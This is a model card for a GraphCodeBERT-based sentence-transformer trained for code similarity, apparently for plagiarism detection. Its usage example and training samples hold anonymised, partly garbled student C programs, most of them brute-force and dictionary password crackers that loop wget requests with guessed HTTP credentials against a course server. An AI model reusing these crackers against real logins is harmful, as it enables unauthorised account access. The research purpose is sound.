SentenceTransformer based on microsoft/graphcodebert-base
This is a sentence-transformers model finetuned from microsoft/graphcodebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: microsoft/graphcodebert-base
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])
Training Details
Training Dataset
Unnamed Dataset
- Size: 3,081 training samples
- Columns:
sentence_0
,sentence_1
, andlabel
- Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 194 tokens
- mean: 471.45 tokens
- max: 512 tokens
- min: 194 tokens
- mean: 460.74 tokens
- max: 512 tokens
- 0: ~99.10%
- 1: ~0.90%
- Samples:
sentence_0 sentence_1 label
#include
#include
#include
#include
#define MAX_SIZE 255
int genchkpwd(char *chararray,char *passwd)
{
int i,j,k,success;
char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];
strcpy(str1,"wget --http-user= --http-passwd=");
strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(tempstr,"");
for(i=0;i<52;i++)
{
passwd[0]= chararray[i];
strcat(tempstr,str1);
strcat(tempstr,passwd);
strcat(tempstr,str2);
printf("SENDING REQUEST AS %s\n",tempstr);
success=system (tempstr);
if (success==0)
return 1;
else
strcpy(tempstr,"");
strcpy(passwd,"");
}
for(i=0;i<52;i++)
{
passwd[0]= chararray[i];
for(j=0;j<52;j++)
{
passwd[1]=chararray[j];
strcat(tempstr,str1);
strcat(tempstr,passwd);
strcat(tempstr,str2);
printf("SENDING REQUEST AS %s\n",tempstr);
success=syste...#include
#include
#include
#include
#include
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
int pass,count=0;
char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
char [4];
char url1[100];
char url2[100];
startTime = time();
for (i=0;i<=52;i++)
{
for (j=0;j<=52;j++)
{
for(k=0;k<=52;k++)
{
count++;
[0] = arr[i];
[1] = arr[j];
[2] = arr[k];
[3] = '\0';
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,);
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
...0
#include
#include
#include
#include
#include
()
{
int i,m,k,count=0;
FILE* diction;
FILE* log;
char s[30];
char pic[30];
char add[1000];
char end[100];
time_t ,finish;
double ttime;
strcpy(add,"wget --http-user= --http-passwd=");
strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
diction=fopen("/usr/share/lib/dict/words","r");
=time(NULL);
while(fgets(s,100,diction)!=NULL)
{
printf("%s\n",s);
for(m=40,k=0;k<(strlen(s)-1);k++,m++)
{
add[m]=s[k];
}
add[m++]=' ';
for(i=0;i<50;i++,m++)
{
add[m]=end[i];
}
add[m]='\0';
system(add);
count++;
log=fopen("logd","r");
fgets(pic,100,log);
printf("%s",pic);
if(strcmp(pic,"Authorization failed.\n")!=0)
{
finish=time(NULL);
ttime=difftime(,finish);
printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count);
break;
}
fclose(log);
}
}#include
#include
#include
#include
#include
#include
#include
char* joinMe(char* t, char* t2)
{
char* result;
int length = 0;
int j = 0;
int counter = 0;
length = strlen(t) + strlen(t2) + 1;
result = malloc(sizeof(char) * length);
for(j = 0; j {
result[j] = t[j];
}
for(j = strlen(t); j {
result[j] = t2[counter];
counter++;
}
result[length-1] = '\0';
return result;
}
void check(char** smallcmd)
{
int pid = 0;
int status;
if( (pid = fork()) == 0)
{
execvp(smallcmd[0],smallcmd);
}
else
{
while(wait(&status) != pid);
}
}
int (void)
{
int i = 0, j = 0, k = 0;
char** smallcmd;
char* [] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w",
"x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T",
"U","V","W","X","Y","Z"};
int count ...0
# include
# include
# include
# include
# include
int ()
{
char s[30];
char c[100];
char usr[50];
char url[100];
char charcopy[200];
int starting,ending;
int totaltime;
FILE* fp;
FILE* f;
int i,j,k;
fp = fopen("/usr/share/lib/dict/words","r");
strcpy(charcopy, "wget --http-user= --http-passwd=");
strcpy(url, "-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/");
starting=time();
while(!feof(fp))
{
j=40;
fgets(c,30,fp);
for(i=0;i {
charcopy[j]=c[i];
j++;
}
charcopy[j-1] = ' ';
for(i=0;i {
charcopy[j]=url[i];
j++;
}
charcopy[j] = '\0';
printf("%s\n",c);
system(charcopy);
f = fopen("logfile1","r");
if(f != (FILE*) NULL)
{
fgets(s,30,f);
if(strcmp(s,"Authorization failed.\n")!=0)
{
ending=time();
totaltime=ending-starti...#include
#include
#include
#include
#define MINSIZE 26
#define MAXSIZE 52
#define MAX_SIZE 255
int CrackPasswd(char *passwd)
{
int flag;
char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];
strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(string2," --http-user= --http-passwd='");
strcpy(,"");
strcat(, string1);
strcat(, string2);
strcat(, passwd);
strcat(, "'");
printf("Sending Request as %s\n",);
flag = system();
if (flag == 0)
{
printf("\nPassword is %s\n",passwd);
return 1;
}
strcpy(,"");
return 0;
}
int BruteForce(char *CharArray)
{
int i, j, k;
char passwd[MAX_SIZE];
for (i=0;i passwd[i] = '\0';
for(i=0;i {
passwd[0] = CharArray[i];
if(CrackPasswd(passwd) == 1)
return 1;
}
for(i=0;i {
passwd[0] = CharArray[i];
...0
- Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size
: 16per_device_eval_batch_size
: 16num_train_epochs
: 1fp16
: Truemulti_dataset_batch_sampler
: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: noprediction_loss_only
: Trueper_device_train_batch_size
: 16per_device_eval_batch_size
: 16per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 5e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.0warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Truefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: batch_samplermulti_dataset_batch_sampler
: round_robinrouter_mapping
: {}learning_rate_mapping
: {}
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 5.0.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.8.1
- Datasets: 3.6.0
- Tokenizers: 0.21.2
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
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Base model
microsoft/graphcodebert-base